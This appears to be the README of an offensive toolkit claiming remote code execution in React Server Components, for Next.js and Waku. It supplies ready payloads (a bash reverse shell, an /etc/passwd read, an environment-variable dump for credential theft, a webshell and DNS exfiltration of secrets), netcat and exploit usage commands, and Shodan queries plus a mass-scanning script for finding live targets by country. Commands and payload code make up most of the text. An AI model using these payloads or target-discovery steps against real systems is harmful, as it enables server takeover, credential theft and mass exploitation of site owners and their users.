🔥 RSC RCE Exploit Toolkit

---

📋 Table of Contents

• Overview
• Vulnerability Details
• Features
• Installation
• Quick Start
• Usage
  • Basic Exploitation
  • Available Payloads
  • Custom Payloads
• Shodan Integration
• Automated Scanning
• Examples
• Mitigation
• Affected Versions
• Contributing
• Disclaimer
• License

---

🎯 Overview

This toolkit exploits a critical Remote Code Execution (RCE) vulnerability in React Server Components (RSC) implementations, specifically targeting:

• Next.js (versions 13.4.0 - 14.1.0)
• Waku (vulnerable versions)

The vulnerability leverages prototype pollution and unsafe deserialization in RSC's data handling mechanism to achieve arbitrary code execution on the server.

🔴 Severity: CRITICAL

• CVSS Score: 9.8 (Critical)
• Attack Vector: Network
• Privileges Required: None
• User Interaction: None
• Impact: Complete server compromise

---

🔬 Vulnerability Details

Technical Background

React Server Components use a custom serialization format to transfer data between client and server. The vulnerability exists in how these frameworks deserialize and process specially crafted payloads.

Attack Chain:

1. Payload Construction: Craft a malicious RSC payload with circular references
2. Prototype Pollution: Abuse $X:constructor:constructor to access Function constructor
3. Code Injection: Inject arbitrary JavaScript in the _prefix field
4. Execution: Server deserializes and executes the payload

Exploitation Flow

Attacker → Malicious RSC Payload → Target Server
                                         ↓
                              Unsafe Deserialization
                                         ↓
                              Prototype Chain Access
                                         ↓
                              Function Constructor
                                         ↓
                              ⚠️ RCE ACHIEVED ⚠️

---

✨ Features

Core Capabilities

• ✅ Multiple Framework Support: Next.js and Waku
• ✅ 8 Pre-built Payloads: From PoC to full reverse shells
• ✅ Custom Code Execution: Inject any JavaScript code
• ✅ Shodan Integration: Automated target discovery
• ✅ Mass Scanning: Test multiple targets automatically
• ✅ Professional CLI: Complete command-line interface
• ✅ Detailed Logging: Color-coded output with timestamps
• ✅ Error Handling: Robust error management

Pre-built Payloads

Payload	Description	Use Case
console	Basic PoC (console.log)	Verify vulnerability
reverseShell	Bash reverse shell	Initial access
readFile	Read /etc/passwd	Filesystem access
envDump	Dump environment variables	Credential extraction
execCommand	Execute system commands	Arbitrary command execution
webshell	Deploy Express webshell	Persistent access
exfilPackage	Exfiltrate package.json	Dependency analysis
dnsExfil	DNS exfiltration (OOB)	Blind exploitation

---

📦 Installation

Prerequisites

• Node.js >= 16.0.0
• npm or yarn
• Shodan CLI (optional, for automated scanning)

Clone Repository

git clone https://github.com/yourusername/rsc-rce-exploit.git
cd rsc-rce-exploit

Install Dependencies

npm install
# or
yarn install

Setup Shodan (Optional)

# Install Shodan CLI
pip install shodan

# Initialize with your API key
shodan init YOUR_API_KEY

---

🚀 Quick Start

1. Basic Vulnerability Check

node rsc-rce-exploit.js --target http://vulnerable-target.com --payload console

2. Get a Reverse Shell

# Start listener
nc -lvnp 4444

# Execute exploit
node rsc-rce-exploit.js \
  --target http://vulnerable-target.com \
  --payload reverseShell \
  --lhost 10.10.14.5 \
  --lport 4444

3. Execute Custom Command

node rsc-rce-exploit.js \
  --target http://vulnerable-target.com \
  --payload execCommand \
  --command "whoami"

---

📖 Usage

Basic Exploitation

node rsc-rce-exploit.js [options]

Options

Option	Description	Required
--target <url>	Target URL	✅
--framework <name>	Framework: next or waku	❌ (default: next)
--payload <name>	Payload name (see below)	✅*
--custom <code>	Custom JavaScript code	✅*
--lhost <ip>	Your IP (for reverse shell)	❌
--lport <port>	Your port (for reverse shell)	❌
--command <cmd>	Command to execute	❌
--endpoint <path>	Custom RSC endpoint (Waku)	❌
--action-id <id>	Custom next-action ID	❌
--list	List available payloads	❌
--verbose	Verbose output	❌
--help	Show help	❌

*Either --payload or --custom is required

Available Payloads

View all payloads:

node rsc-rce-exploit.js --list

Output:

📋 Available payloads:

  console              - Basic PoC - Console output
    Code: console.log(7*7+1)

  reverseShell         - Reverse shell (bash)
    Code: require('child_process').exec('bash -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"')

  readFile             - Read /etc/passwd
    Code: console.log(require('fs').readFileSync('/etc/passwd','utf8'))

  envDump              - Dump environment variables
    Code: console.log(JSON.stringify(process.env,null,2))

  execCommand          - Execute system command
    Code: console.log(require('child_process').execSync('COMMAND').toString())

  webshell             - Write webshell to /tmp
    Code: require('fs').writeFileSync('/tmp/shell.js','...')

  exfilPackage         - Read package.json
    Code: console.log(require('fs').readFileSync('./package.json','utf8'))

  dnsExfil             - DNS exfiltration
    Code: require('dns').resolve4(Buffer.from(process.env.SECRET||'nosecret')...)

Custom Payloads

Execute any JavaScript code:

node rsc-rce-exploit.js \
  --target http://target.com \
  --custom "require('fs').readdirSync('.').forEach(f=>console.log(f))"

---

🌐 Shodan Integration

Shodan Dorks

Next.js Targets

# Basic Next.js
http.component:"Next.js"

# Next.js with RSC
http.html:"__next" http.html:"RSC"

# Next.js dev mode (more vulnerable)
http.html:"__NEXT_DATA__" http.html:"development"

# Self-hosted Next.js (not on Vercel)
http.component:"Next.js" -org:"Vercel"

# Geographically targeted (France)
http.component:"Next.js" country:FR

# Ultimate combo for pentesting
http.component:"Next.js" http.status:200 country:FR -org:"Vercel" port:3000,8080

Waku Targets

# Waku framework
http.html:"waku" http.html:"RSC"

# Waku RSC endpoints
http.path:"/RSC/"

Automated Shodan Scanning

Use the provided automation script:

# Scan and test automatically
./shodan-scanner.sh "http.component:\"Next.js\" country:FR" 100